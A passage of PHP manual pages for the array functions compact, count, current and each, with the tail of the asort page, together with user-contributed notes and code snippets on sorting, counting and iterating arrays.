    array( "code" => "LHR", "name" => "Heathrow" ),
    array( "code" => "LGW", "name" => "Gatwick" ),
);

printf("Before: <pre>%s</pre>", print_r($airports, true));

$airports = record_sort($airports, "name");

printf("After: <pre>%s</pre>", print_r($airports, true));

?>

Example Outputs:

Before: Array
(
    [0] => Array ( [code] => LHR, [name] => Heathrow )
    [1] => Array ( [code] => LGW, [name] => Gatwick )
)

After: Array
(
    [0] => Array ( [code] => LGW, [name] => Gatwick )
    [1] => Array ( [code] => LHR, [name] => Heathrow )
)
php at web-in-time dot com 05-Sep-2006 11:47
acecream's function works fine, especially with the spectre extension.

nevertheless sometimes the index values have to be kept. To achieve this, just replace:

$sorted_arr[] = $array[$arr_key];

with:

$sorted_arr[$arr_key] = $array[$arr_key];
rojaro 24-Jun-2004 04:38
Advanced sort array by second index function, which produces ascending (default) or descending output and uses optionally natural case insensitive sorting (which can be optionally case sensitive as well).
Only the first two arguments are required.

<?php

function sabsi ($array, $index, $order='asc', $natsort=FALSE, $case_sensitive=FALSE) {
  if(is_array($array) && count($array)>0) {
    foreach(array_keys($array) as $key) $temp[$key]=$array[$key][$index];
    if(!$natsort) ($order=='asc')? asort($temp) : arsort($temp);
    else {
      ($case_sensitive)? natsort($temp) : natcasesort($temp);
      if($order!='asc') $temp=array_reverse($temp,TRUE);
    }
    foreach(array_keys($temp) as $key) (is_numeric($key))? $sorted[]=$array[$key] : $sorted[$key]=$array[$key];
    return $sorted;
  }
  return $array;
}

?>
spectre at hellfish dot NOSPAM dot org 28-Apr-2003 06:54
that works nicely, tho it breaks the result-array up if one or more of arrays indexes are deleted before sorting. this one should fix it up:

change:
for ($i = 0; $i < sizeof($array); $i++) {

to:
foreach ($array as $i => $k) {
mbevan at marginsoftware dot com 03-Dec-2002 10:25
Nevermind... use my last note as a quick tip: if you wish to keep the keys, use asort() and arsort() in place of sort() and rsort().
01-Aug-2002 03:48
Sorry, my last post had a typo:
// unnecessary backslashes break create_function, oops.
  if ( is_string($var) ) $var = "\'$var\'";
//it should be:
  if ( is_string($var) ) $var = "'$var'";

-- FIXED and TESTED -- :)

Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "'$var'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
phzzzt .a.t. acm .d.o.t. org 01-Aug-2002 03:32
Similar to above but for an array of arrays instead of an array of objects.

<?php
function aasort($x,$var,$cmp='strcasecmp'){
  if ( is_string($var) ) $var = "\'$var\'";
  uasort($x,
    create_function('$a,$b',
      'return '.$cmp.'( $a['.$var.'],$b['.$var.']);')
  );
  return $x;
}
?>
salchicha at cable dot net dot co 03-Apr-2002 10:23
Here's one I whipped up to allow you to sort an array of a specific class by a member or function:

<?php
// Sort a class by one of its members (even lowercase!!!)
function casort($arr, $var) {
   $tarr = array();
   $rarr = array();
   for($i = 0; $i < count($arr); $i++) {
      $element = $arr[$i];
      $tarr[] = strtolower($element->{$var});
   }

   reset($tarr);
   asort($tarr);
   $karr = array_keys($tarr);
   for($i = 0; $i < count($tarr); $i++) {
      $rarr[] = $arr[intval($karr[$i])];
   }

   return $rarr;
}
?>

It works very well. For example, I have a Room class with members title, isActive(), date, etc. I can sort an array by casort($rooms, "title") or casort($rooms, "isActive()") and it'll work.
rcwang at cmu dot edu 03-Mar-2002 02:42
Here's my version of sorting multi-dimensional array by 2nd index.
Feel free to change the code to suit your needs.

<?php
function aSortBySecondIndex($multiArray, $secondIndex) {
    while (list($firstIndex, ) = each($multiArray))
        $indexMap[$firstIndex] = $multiArray[$firstIndex][$secondIndex];
    asort($indexMap);
    while (list($firstIndex, ) = each($indexMap))
        if (is_numeric($firstIndex))
            $sortedArray[] = $multiArray[$firstIndex];
        else $sortedArray[$firstIndex] = $multiArray[$firstIndex];
    return $sortedArray;
}
?>
freeman at generalresources dot com 04-May-2001 01:51
The asortbyindex($sortarray, $index) looks like sort not asort. The key of the $sortarray was changed.
sweetland at whoadammit dot com 15-Aug-2000 09:02
Here's a little routine I whipped up to sort multi-dimensional arrays:
<?php
/**
 ** comesafter ($s1, $s2)
 **
 ** Returns 1 if $s1 comes after $s2 alphabetically, 0 if not.
 **/

function comesafter ($s1, $s2) {
        /**
         ** We don't want to overstep the bounds of one of the strings and segfault,
         ** so let's see which one is shorter.
         **/

        $order = 1;

        if (strlen ($s1) > strlen ($s2)) {
                $temp = $s1;
                $s1 = $s2;
                $s2 = $temp;
                $order = 0;
        }

        for ($index = 0; $index < strlen ($s1); $index++) {
                /**
                 ** $s1 comes after $s2
                 **/

                if ($s1[$index] > $s2[$index]) return ($order);

                /**
                 ** $s1 comes before $s2
                 **/

                if ($s1[$index] < $s2[$index]) return (1 - $order);
        }

        /**
         ** Special case in which $s1 is a substring of $s2
         **/

        return ($order);
}

/**
 ** asortbyindex ($sortarray, $index)
 **
 ** Sort a multi-dimensional array by a second-degree index. For instance, the 0th index
 ** of the Ith member of both the group and user arrays is a string identifier. In the
 ** case of a user array this is the username; with the group array it is the group name.
 ** asortby
 **/

function asortbyindex ($sortarray, $index) {
        $lastindex = count ($sortarray) - 1;
        for ($subindex = 0; $subindex < $lastindex; $subindex++) {
                $lastiteration = $lastindex - $subindex;
                for ($iteration = 0; $iteration < $lastiteration;    $iteration++) {
                        $nextchar = 0;
                        if (comesafter ($sortarray[$iteration][$index], $sortarray[$iteration + 1][$index])) {
                                $temp = $sortarray[$iteration];
                                $sortarray[$iteration] = $sortarray[$iteration + 1];
                                $sortarray[$iteration + 1] = $temp;
                        }
                }
        }
        return ($sortarray);
}
?>

It's a bit long with all the comments, but I hope it helps.
bwuhlman at tallships dot ca 03-Aug-2000 12:01
Well, actually, asort has *two* annoying features.

It works perfectly well sorting hashes (or associative arrays, as you might have it), but doggedly refuses to sort regular arrays maintaining index assocation. Kind've makes sense, but the docs don't explicitly say you can't do it.

Urgggh.
jacko at kring dot co dot uk 25-Feb-2000 08:26
asort has one anoying feature, it ignores any default or implicit order in the data.  i.e. if two elements of an array contain "banana" then it is not garanteed that the first will still be the first after the sort.
This makes the Burrows-Wheeler block sort a bit of a pain to impliment, with a trailing string having to be appended to all strings before sorting, and removed after sorting. To maintain the so called "banana" order.


Create array containing variables and their values

  • « asort
  • count »
  • PHP Manual
  • Array Functions
  • Create array containing variables and their values

compact

(PHP 4, PHP 5)

compact — Create array containing variables and their values

Description

array compact ( mixed $varname1 [, mixed $... ] )

Creates an array containing variables and their values.

For each of these, compact() looks for a variable with that name in the current symbol table and adds it to the output array such that the variable name becomes the key and the contents of the variable become the value for that key. In short, it does the opposite of extract().

Any strings that are not set will simply be skipped.

Parameters

varname1

compact() takes a variable number of parameters. Each parameter can be either a string containing the name of the variable, or an array of variable names. The array can contain other arrays of variable names inside it; compact() handles it recursively.

Return Values

Returns the output array with all the variables added to it.

Examples

Example #1 compact() example

<?php
$city  = "San Francisco";
$state = "CA";
$event = "SIGGRAPH";

$location_vars = array("city", "state");

$result = compact("event", "nothing_here", $location_vars);
print_r($result);
?>

The above example will output:

Array
(
    [event] => SIGGRAPH
    [city] => San Francisco
    [state] => CA
)

Notes

Note: Gotcha

Because variable variables may not be used with PHP's Superglobal arrays within functions, the Superglobal arrays may not be passed into compact().

See Also

  • extract() - Import variables into the current symbol table from an array

User Contributed Notes

piedone at pyrocenter dot hu 15-Apr-2011 03:00
A quick way of compacting all local variables:

<?php
$localVariables = compact(array_keys(get_defined_vars()));
?>

This is useful if you want to return all local variables from a function/method or you want to pass all local variables to one. A valid example would be to use this with application hooks/events (if you want the called hook to be able to modify everything in the caller), but otherwise use with care (as methods should be used through their declared interface).
Robc 20-Jan-2011 12:16
The description says that compact is the opposite of extract() but it is important to understand that it does not completely reverse extract().  In particluar compact() does not unset() the argument variables given to it (and that extract() may have created).  If you want the individual variables to be unset after they are combined into an array then you have to do that yourself.
tatarynowicz at gmail dot com 11-Jan-2011 12:17
Please note that compact() will _not_ issue a warning if the specified variable name is undefined.
M Spreij 24-May-2007 03:10
Can also handy for debugging, to quickly show a bunch of variables and their values:

<?php
print_r(compact(explode(' ', 'count acw cols coldepth')));
?>

gives

Array
(
    [count] => 70
    [acw] => 9
    [cols] => 7
    [coldepth] => 10
)
hericklr at gmail dot com 13-Jun-2005 05:43
The compact function doesn't work inside the classes or functions.
I think its escope is local...
Above it is a code to help about it.
Comments & Suggestions are welcome.
PS: Sorry for my poor english...

<?php

    function x_compact()
    {    if(func_num_args()==0)
        {    return false; }
        $m=array();

        function attach($val)
        {    global $m;
            if((!is_numeric($val)) && array_key_exists($val,$GLOBALS))
            {    $m[$val]=$GLOBALS[$val];}
        }

        function sub($par)
        {    global $m;
            if(is_array($par))
            {    foreach($par as $cel)
                {    if(is_array($cel))
                    {    sub($cel); }
                    else
                    {    attach($cel); }
                }
            }
            else
            {    attach($par); }
            return $m;
        }

        for($i=0;$i<func_num_args();$i++)
        {    $arg=func_get_arg($i);
            sub($arg);
        }

        return sub($arg);
    }
?>


Count all elements in an array, or something in an object

  • « compact
  • current »
  • PHP Manual
  • Array Functions
  • Count all elements in an array, or something in an object

count

(PHP 4, PHP 5)

count — Count all elements in an array, or something in an object

Description

int count ( mixed $array_or_countable [, int $mode = COUNT_NORMAL ] )

Counts all elements in an array, or something in an object.

For objects, if you have SPL installed, you can hook into count() by implementing interface Countable. The interface has exactly one method, Countable::count(), which returns the return value for the count() function.

Please see the Array section of the manual for a detailed explanation of how arrays are implemented and used in PHP.

Parameters

array_or_countable

An array or Countable object.

mode

If the optional mode parameter is set to COUNT_RECURSIVE (or 1), count() will recursively count the array. This is particularly useful for counting all the elements of a multidimensional array.

Caution

count() can detect recursion to avoid an infinite loop, but will emit an E_WARNING every time it does (in case the array contains itself more than once) and return a count higher than may be expected.

Return Values

Returns the number of elements in array_or_countable. If the parameter is not an array or not an object with implemented Countable interface, 1 will be returned. There is one exception, if array_or_countable is NULL, 0 will be returned.

Caution

count() may return 0 for a variable that isn't set, but it may also return 0 for a variable that has been initialized with an empty array. Use isset() to test if a variable is set.

Examples

Example #1 count() example

<?php
$a[0] = 1;
$a[1] = 3;
$a[2] = 5;
$result = count($a);
// $result == 3

$b[0]  = 7;
$b[5]  = 9;
$b[10] = 11;
$result = count($b);
// $result == 3

$result = count(null);
// $result == 0

$result = count(false);
// $result == 1
?>

Example #2 Recursive count() example

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
              'veggie' => array('carrot', 'collard', 'pea'));

// recursive count
echo count($food, COUNT_RECURSIVE); // output 8

// normal count
echo count($food); // output 2

?>

See Also

  • is_array() - Finds whether a variable is an array
  • isset() - Determine if a variable is set and is not NULL
  • strlen() - Get string length

User Contributed Notes

onlyranga at gmail dot com 28-Apr-2014 11:14
If you want to run through large arrays don't use count() function in the loops , its a over head in performance,  copy the count() value into a variable and use that value in loops for a better performance.

Eg:

// Bad approach

for($i=0;$i<count($some_arr);$i++)
{
    // calculations
}

// Good approach

$arr_length = count($some_arr);
for($i=0;$i<$arr_length;$i++)
{
    // calculations
}
norbyte 26-Feb-2014 09:06
If you want to check whether large arrays contain a specific (less) number of array elements, don't use count(). This is very slow because each element has to get iterated.

This is much faster:

function isArrayCount(array $array, $count) {
    $count = (int) $count;
    $result = reset($array);
    if ($count === 0) {
        // for empty arrays reset returns FALSE
        // we have to switch the boolean result
        $result = !$result;
    }
    for($i = 1; $i < $count; $i++) {
        if (next($array) === FALSE) {
            $result = FALSE;
            break;
        }
    }
    return $result;
}
Gerd Christian Kunze 11-Dec-2013 09:56
Get maxWidth and maxHeight of a two dimensional array..?

Note:
1st dimension = Y (height)
2nd dimension = X (width)
e.g. rows and cols in database result arrays

<?php
$TwoDimensionalArray = array( 0 => array( 'key' => 'value', ...), ... );
?>

So for Y (maxHeight)
<?php
$maxHeight = count( $TwoDimensionalArray )
?>

And for X (maxWidth)
<?php
$maxWidth = max( array_map( 'count',  $TwoDimensionalArray ) );
?>

Simple? ;-)
MaxTheDragon at home dot nl 06-Nov-2013 10:21
If you wish to test if an array contains any elements (or is empty), you might tempted to use count to do something like this:

<?php
if (count($my_array) > 0) {
// array is not empty...
}

// or this ...

if (count($my_array) === 0) {
// array is empty...
}
?>

Using the count function here is totally unnecessary and slower.

Instead, you should rely on the fact that empty arrays evaluate to false when cast to a boolean:

<?php
$hasElements = (boolean) $my_array;

// or ...

$isEmpty = !$my_array;

// or in a conditional statement...

if ($my_array) {
// array is not empty...
}
?>

Only use count if you need to know if an array contains a specific number of elements n (where n > 0).
lopezvit at gmail dot com 11-Oct-2013 02:54
I think that maybe that is faster (I don't know why, because, at least in C, for loops are faster than while ones due to compile optimization) but what is sure is that, in case the list is empty, you are going to iterate over the loop at least one. And I'm sure that is not what you want to do. The correct way in this occassion is to use a normal while, not a do, while.
me at me dot com 07-Sep-2013 11:58
To the poster above, the fastest way is to use 'do/while'. Try this way, you will find it faster than 'for'.
$arrayCount = count($array);
do{
    // some code here
    --$arrayCount;
}
while($arrayCount > 0);
semmelbroesel at gmail dot com 15-Aug-2013 11:14
I've read this somewhere else before, but experienced it first hand now, so I thought I'd post it here.

While in regular use, count() is pretty fast, this changes rapidly when used in a for loop. Example:

for ($x = 0; $x < count($array); $x++)
{
  // some code here
}

If your array contains a lot of data, this code gets slowed down significantly. Better way to write this:

$arrayCount = count($array);
for ($x = 0; $x < $arrayCount; $x++)
{
  // some code here
}

I didn't think it would make such a difference, but it did in my case - changed 15 seconds load time into 1 second!
nicolas dot grekas+php at gmail dot com 10-Sep-2011 08:29
As of PHP 5.2.6, count() DOES detect infinite recursion.
It triggers a warning when its argument is a recursive array.
jezdec at email dot cz 20-Apr-2009 01:42
Hi there,
there is a simple script with example for counting rows and columns of a two-dimensional array.

<?php
$data = array(
    "apples" =>
        array("red", "yellow", "pineapples"),
    "bananas" =>
        array("small", "medium", "big"),
    "vegs" =>
        array("potatoes", "carrots", "onions")
);

$rows = count($data,0);
$cols = (count($data,1)/count($data,0))-1;
print "There are {$rows} rows and {$cols} columns in the table!";
?>
atoi_monte at hotmail dot com 28-Jun-2007 11:10
Please note: While SPL is compiled into PHP by default starting with PHP 5, the Countable interface is not available until 5.1
danny at dannymendel dot com 13-Jun-2007 10:14
I actually find the following function more useful when it comes to multidimension arrays when you do not want all levels of the array tree.

// $limit is set to the number of recursions
<?php
function count_recursive ($array, $limit) {
    $count = 0;
    foreach ($array as $id => $_array) {
        if (is_array ($_array) && $limit > 0) {
            $count += count_recursive ($_array, $limit - 1);
        } else {
            $count += 1;
        }
    }
    return $count;
}
?>
alexandr at vladykin dot pp dot ru 08-Nov-2006 01:28
My function returns the number of elements in array for multidimensional arrays subject to depth of array. (Almost COUNT_RECURSIVE, but you can point on which depth you want to plunge).

<?php
  function getArrCount ($arr, $depth=1) {
      if (!is_array($arr) || !$depth) return 0;

     $res=count($arr);

      foreach ($arr as $in_ar)
         $res+=getArrCount($in_ar, $depth-1);

      return $res;
  }
?>
freefaler at gmail dot com 20-Nov-2004 02:01
If you want to count only elements in the second level of 2D arrays.A close to mind note, useful for multidimentional arrays:

<?php
$food = array('fruits' => array('orange', 'banana', 'apple'),
             'veggie' => array('carrot', 'collard','pea'));

// recursive count
echo count($food,COUNT_RECURSIVE);  // output 8

// normal count
echo count($food);                  // output 2

// all the fruits and veggies
echo (count($food,COUNT_RECURSIVE)-count($food,0)); //output 6
?>


Return the current element in an array

  • « count
  • each »
  • PHP Manual
  • Array Functions
  • Return the current element in an array

current

(PHP 4, PHP 5)

current — Return the current element in an array

Description

mixed current ( array &$array )

Every array has an internal pointer to its "current" element, which is initialized to the first element inserted into the array.

Parameters

array

The array.

Return Values

The current() function simply returns the value of the array element that's currently being pointed to by the internal pointer. It does not move the pointer in any way. If the internal pointer points beyond the end of the elements list or the array is empty, current() returns FALSE.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples

Example #1 Example use of current() and friends

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';

$arr = array();
var_dump(current($arr)); // bool(false)

$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

Notes

Note: You won't be able to distinguish the end of an array from a boolean FALSE element. To properly traverse an array which may contain FALSE elements, see the each() function.

See Also

  • end() - Set the internal pointer of an array to its last element
  • key() - Fetch a key from an array
  • each() - Return the current key and value pair from an array and advance the array cursor
  • prev() - Rewind the internal array pointer
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array

User Contributed Notes

Pratip Ghosh 14-May-2014 02:55
If we unset any element from an array, and then try the current function, I noted it returned FALSE. To overcome this limitation, you can use array_values function to re-order the tree.
strate at yandex dot com 30-Oct-2013 04:11
Note, that you can pass array by expression, not only by reference (as described in doc).

<?php
var_dump( current( array(1,2,3) ) ); // (int) 1
?>
michael at squiloople dot com 11-Jan-2012 04:44
current() also works on objects:

<?php

  echo current((object) array('one', 'two')); // Outputs: one

?>
aefxx 15-May-2008 05:39
A simple copy function that not only copies the given array but ensures the copy's pointer is set to the exact same position:

<?php
function array_copy(&array)
{
    $key = key($array);
    $copy = $array;

    while (($copy_key = key($copy)) !== NULL) {
        if ($copy_key == $key) break;
        next($copy);
    }

    return $copy;
}
?>

That's all ... bye.
gregory at gregory dot net 28-Feb-2008 06:07
It took me a while to figure this out, but there is a more consistent way to figure out whether you really went past the end of the array, than using each().

You see, each() gets the value BEFORE advancing the pointer, and next() gets the value AFTER advancing the pointer. When you are implementing the Iterator interface, therefore, it's a real pain in the behind to use each().

And thus, I give you the solution:
To see if you've blown past the end of the array, use key($array) and see if it returns NULL. If it does, you're past the end of the array -- keys can't be null in arrays.

Nifty, huh? Here's how I implemented the Iterator interface in one of my classes:

<?php

/**
 * DbRow file
 * @package PalDb
 */

/**
 * This class lets you use Db rows and object-relational mapping functionality.
 */

class DbRow implements Iterator
{
    /**
     * The DbResult object that gave us this row through fetchDbRows
     * @var DbResult
     */
    protected $result;

    /**
     * The fields of the row
     * @var $fields
     */
    protected $fields;

    /**
     * Constructor
     *
     * @param PDOStatement $stmt
     *  The PDO statement object that this result uses
     * @param DbResult $result
     *  The result that produced this row through fetchDbRows
     */
    function __construct($result)
    {
        $this->result = $result;
    }

    /**
     * Get the DbResult object that gave us this row through fetchDbRows
     * @return DbResult
     *
     * @return unknown
     */
    function getResult()
    {
        return $this->result;
    }

    function __set(
        $name,
        $value)
    {
        $this->fields[$name] = $value;
    }

    function __get(
        $name)
    {
        if (isset($this->fields[$name]))
            return $this->fields[$name];
        else
            return null;
    }

    /**
     * Iterator implementation - rewind
     */
    function rewind()
    {
        $this->beyondLastField = false;
        return reset($this->fields);
    }

    function valid()
    {
        return !$this->beyondLastField;
    }

    function current()
    {
        return current($this->fields);
    }

    function key()
    {
        return key($this->fields);
    }

    function next()
    {
        $next = next($this->fields);
        $key = key($this->fields);
        if (isset($key)) {
            return $next[1];
        } else {
            $this->beyondLastField = true;
            return false; // doesn't matter what we return here, see valid()
        }
    }

    private $beyondLastField = false;
};

Hope this helps someone.
vaclav dot sir at gmail dot com 13-Aug-2007 06:23
To that "note": You won't be able to distinguish the end of an array from a boolean FALSE element, BUT you can distinguish the end from a NULL value of the key() function.

Example:
<?php
if (key($array) === null) {
    echo "You are in the end of the array.";
} else {
    echo "Current element: " . current($array);
}
?>
mdeng at kabenresearch dot com 24-Apr-2004 08:04
For large array(my sample was 80000+ elements), if you want to traverse the array in sequence, using array index $a[$i] could be very inefficient(very slow). I had to switch to use current($a).
vitalib at 012 dot net dot il 02-Dec-2003 11:10
Note that by copying an array its internal pointer is lost:

<?php
$myarray = array(0=>'a', 1=>'b', 2=>'c');
next($myarray);
print_r(current($myarray));
echo '<br>';
$a = $myarray;
print_r(current($a));
?>

Would output 'b' and then 'a' since the internal pointer wasn't copied. You can cope with that problem using references instead, like that:

<?php
$a =& $myarray;
?>
retestro_REMOVE at SPAM_esperanto dot org dot il 02-Mar-2003 03:31
The docs do not specify this, but adding to the array using the brackets syntax:
     <?php $my_array[] = $new_value; ?>
will not advance the internal pointer of the array. therefore, you cannot use current() to get the last value added or key() to get the key of the most recently added element.

You should do an end($my_array) to advance the internal pointer to the end ( as stated in one of the notes on end() ), then

    <?php
     $last_key = key($my_array);  // will return the key
     $last_value = current($my_array);  // will return the value
    ?>

If you have no need in the key, $last_value = end($my_array) will also do the job.

- Sergey.


Return the current key and value pair from an array and advance the array cursor

  • « current
  • end »
  • PHP Manual
  • Array Functions
  • Return the current key and value pair from an array and advance the array cursor

each

(PHP 4, PHP 5)

each — Return the current key and value pair from an array and advance the array cursor

Description

array each ( array &$array )

Return the current key and value pair from an array and advance the array cursor.

After each() has executed, the array cursor will be left on the next element of the array, or past the last element if it hits the end of the array. You have to use reset() if you want to traverse the array again using each.

Parameters

array

The input array.

Return Values

Returns the current key and value pair from the array array. This pair is returned in a four-element array, with the keys 0, 1, key, and value. Elements 0 and key contain the key name of the array element, and 1 and value contain the data.

If the internal pointer for the array points past the end of the array contents, each() returns FALSE.

Examples

Example #1 each() examples

<?php
$foo = array("bob", "fred", "jussi", "jouni", "egon", "marliese");
$bar = each($foo);
print_r($bar);
?>

$bar now contains the following key/value pairs:

Array
(
    [1] => bob
    [value] => bob
    [0] => 0
    [key] => 0
)

<?php
$foo = array("Robert" => "Bob", "Seppo" => "Sepi");
$bar = each($foo);
print_r($bar);
?>

$bar now contains the following key/value pairs:

Array
(
    [1] => Bob
    [value] => Bob
    [0] => Robert
    [key] => Robert
)

each() is typically used in conjunction with list() to traverse an array, here's an example:

Example #2 Traversing an array with each()

<?php
$fruit = array('a' => 'apple', 'b' => 'banana', 'c' => 'cranberry');

reset($fruit);
while (list($key, $val) = each($fruit)) {
    echo "$key => $val\n";
}
?>

The above example will output:

a => apple
b => banana
c => cranberry

Caution

Because assigning an array to another variable resets the original arrays pointer, our example above would cause an endless loop had we assigned $fruit to another variable inside the loop.

Warning

each() will also accept objects, but may return unexpected results. Its therefore not recommended to iterate though object properties with each().

See Also

  • key() - Fetch a key from an array
  • list() - Assign variables as if they were an array
  • current() - Return the current element in an array
  • reset() - Set the internal pointer of an array to its first element
  • next() - Advance the internal array pointer of an array
  • prev() - Rewind the internal array pointer
  • foreach
  • Object Iteration

User Contributed Notes

gaviel 18-Mar-2011 12:53
Ok Here's one for iterating multidimensional array .. using foreach

    <?php
        $members = array(
                            "member1" => array (
                                                "First Name" => "Robert",
                                                "Last Name" => "Burton",
                                                "Age" => "20"
                                                ),
                            "member2" => array (
                                                "First Name" => "Cheska",
                                                "Last Name" => "Vladesk",
                                                "Age" => "21"
                                                ),
                            "member3" => array (
                                                "First Name" => "Gino",
                                                "Last Name" => "Marley",
                                                "Age" => "19"
                                                ),
                            "member4" => array (
                                                "First Name" => "Jake",
                                                "Last Name" => "White",
                                                "Age" => "16"
                                                ),
                            );
        $dataSetCount = count($members);
        echo "<h1>There are $dataSetCount members</h1>";

        $i = 0;
        foreach ($members as $each_members) {
            $i++;
            echo "<h2>Member $i</h2>";
                foreach ($each_members as $position => $details) {
                    echo "<b>$position</b>" . ": " . $details . "<br />";
                }
            }
    ?>
massimo dot modica at tin dot it 03-Feb-2010 11:36
If you forget to reset the array before each(), the same code may give different results with different php versions.

<?php

$a = array(1,2,3);

foreach ($a AS $k => $v) $a[$k] = 2*$v;

while(list($k2, $v2) = each($a)) { echo($v2."\n"); }

?>

In PHP 5.2.0:

2
4
6

In PHP 5.2.6:

4
6
php at omit dot ianco dot co dot uk 13-Apr-2008 03:10
I wanted to be able to add to an array while looping through it. foreach does not allow this because it is using a secret copy of the array. each makes this possible (tested on PHP 4).
<?php
$shopping_list = array('oysters', 'caviare');
reset ($shopping_list);
while (list($key, $value) = each ($shopping_list)) {
    if ($value == 'oysters') $shopping_list[] = 'champagne';
    elseif ($value == 'champagne') $shopping_list[] = 'ice';
}
print_r($shopping_list);
// Array ( [0] => oysters [1] => caviare [2] => champagne [3] => ice )
?>
wolfeym38 at yahoo dot com 12-Jun-2007 08:28
Regarding speed of foreach vs while(list) =each
I wrote a benchmark script and the results are that clearly foreach is faster. MUCH faster. Even with huge arrays (especially with huge arrays). I tested with sizes 100,000. 1,000,000 and 10,000,000. To do the test with 10 million i had to set my memory limit real high, it was close to 1gb by the time it actually worked. Anyways,

<?php
function getDiff($start, $end) {
    $s = explode(' ', $start);
    $stot = $s[1] + $s[0];
    $e = explode(' ', $end);
    $etot = $e[1] + $e[0];
    return $etot - $stot;
}

$lim=10000000;
$arr = array();
for ($i=0; $i<$lim; $i++) {
    $arr[$i] = $i/2;
}

$start = microtime();
foreach ($arr as $key=>$val);

$end = microtime();
echo "time for foreach = " . getDiff($start, $end) . ".\n";

reset($arr);
$start = microtime();
while (list($key, $val) = each($arr));
$end = microtime();
echo "time list each = " . getDiff($start, $end) . ".\n";
?>

here are some of my results: with 1,000,000
time for foreach = 0.0244591236115.
time list each = 0.158002853394.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0245339870453.
time list each = 0.154260158539.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 0.0269000530243.
time list each = 0.157305955887.

then with 10,000,000:
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 1.96586894989.
time list each = 14.1371650696.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.02504014969.
time list each = 13.7696218491.
desktop:/media/sda5/mpwolfe/tests$ php test.php
time for foreach = 2.0246758461.
time list each = 13.8425710201.

by the way, these results are with php 5.2 i believe, and a linux machine with 3gb of ram and 2.8ghz dual core pentium
michael k (name der redaktion bekannt.) 10-May-2007 09:36
If you want to iterate over a two-dimensional, sparse array, and want to  first display every first element, then every second and so on, you can use this code:

 $fruits = array ( "fruits"  => array ( "a" => "orange",
                                      "b" => "banana",
                                      "c" => "apple"
                                    ),
                 "numbers" => array ( 1,
                                      2,
                                      3,
                                      4,
                                      5,
                                      6
                                    ),
                 "holes"   => array (      "first",
                                      5 => "second",
                                           "third",
                                     10 => "fourth",
                                    )
               );

$done = False;
while ($done == False) {
       $done = True;

       // Important: &$val has to be a reference (use the &),
       // if you don't, the internal counter of $val will be
       // re-initialized each time and you loop over the first elements
       // for eternity.

       foreach($fruits as $key => &$val) {

               if (list($inner_key, $inner_val) = each(&$val)) {
                       $done = False;
                       echo "$key : : $inner_key => $inner_val  <br>  \n";
               }

       }
}

NOTE: this is just a quick hack, if you know a better way, post it!
sjoerd-php at linuxonly dot nl 31-Mar-2006 03:04
Use foreach instead of while, list and each. Foreach is:
- easier to read
- faster
- not influenced by the array pointer, so it does not need reset().

It works like this:
<?php
$arr = array('foo', 'bar');
foreach ($arr as $value) {
    echo "The value is $value.";
}

$arr = array('key' => 'value', 'foo' => 'bar');
foreach ($arr as $key => $value) {
    echo "Key: $key, value: $value";
}
?>
matthew at mhalls dot net 05-Dec-2005 12:58
To panania at 3ringwebs dot com:

If you know for certain that you are only receiving one row, the while becomes redundant. To shorten your code:

$strSQL = "SELECT * FROM table WHERE id=1";
$RecordsetSelect = $db->runQuery ($strSQL);
list($key, $val) = mysql_fetch_row($RecordsetSelect);
echo "$key => $val\n";
mysql_free_result($RecordsetSelect);

With only one row being returned this is more elegant a solution, but just being nit-picky in essence. It also shows another quick way of using list.
amby2 at izh dot com 24-Nov-2005 06:55
I've found a compact way to cycle through an associative array using for statement (not while, as it has been done in the most of examples below):

<?php

for (reset($array); list($key) = each($array);) {
  echo $key;
  echo $array[$key];
}

?>

or

<?php

for (reset($array); list($key, $value) = each($array);) {
  echo $key;
  echo $value;
  echo $array[$key];
}

?>

You hardly forget to add reset($array) code line using such construction.
Sopinon 23-Jul-2005 02:17
If you want to display the hole structure (tree) of your array, then you can use this recursive solution.

<?PHP
$tree= "";
array_tree($your_array);
echo $tree;

// Recursive Function
function array_tree($array, $index=0){
    global $tree;
    $space="";
    for ($i=0;$i<$index;$i++){
        $space .= "     ";
    }
    if(gettype($array)=="array"){
        $index++;
        while (list ($x, $tmp) = each ($array)){
            $tree .= $space."$x => $tmp\n";
            array_tree($tmp, $index);
        }
    }
}
?>
james at gogo dot co dot nz 02-Nov-2004 04:29
It's worth noting that references to an array don't have thier own array pointer, and taking a reference to an array doesn't reset it's array pointer, so this works as you would expect it would by eaching the first three items of the array, rather than the first item 3 times.

<?php
  $x = array(1,2,3);

  print_r(each($x));
  echo "\n";

  $y =& $x;
  print_r(each($y));
  echo "\n";

  $z =& $y;
  print_r(each($z));
  echo "\n";
?>
wodzuY2k at anronet dot pl 04-Aug-2002 09:41
This function will help you dump any variable into XML structure.

        //dump var into simple XML structure
        function var_dump_xml($tagname,$variable,$level=0)
         {
            for($i=0;$i<$level;$i++) $marg.=' ';
            if (eregi('^[0-9].*$',$tagname)) $tagname='tag_'.$tagname; //XML tag cannot start with [0-9] character
            if (is_array($variable))
             {
                echo $marg."<$tagname>\n";
                while (list ($key, $val) = each ($variable))  var_dump_xml($key,$val,$level+1);
                echo $marg."</$tagname>\n";
             }
            elseif (strlen($variable)>0)
             {
                 echo $marg."<$tagname>".htmlspecialchars($variable)."</$tagname>\n";
             };
         };

        /*
        example:

        $myVar = array("name"=>"Joe", "age"=>"26", "children"=>array("Ann","Michael"));
        var_dump_xml("myVarTag",$myVar);
        */
Gillis at dancrea dot com 26-May-2002 07:13
I wrote a short and pretty simple script to search through associative arrays for some value in the values, heres a simplifyed example of it:

<?php

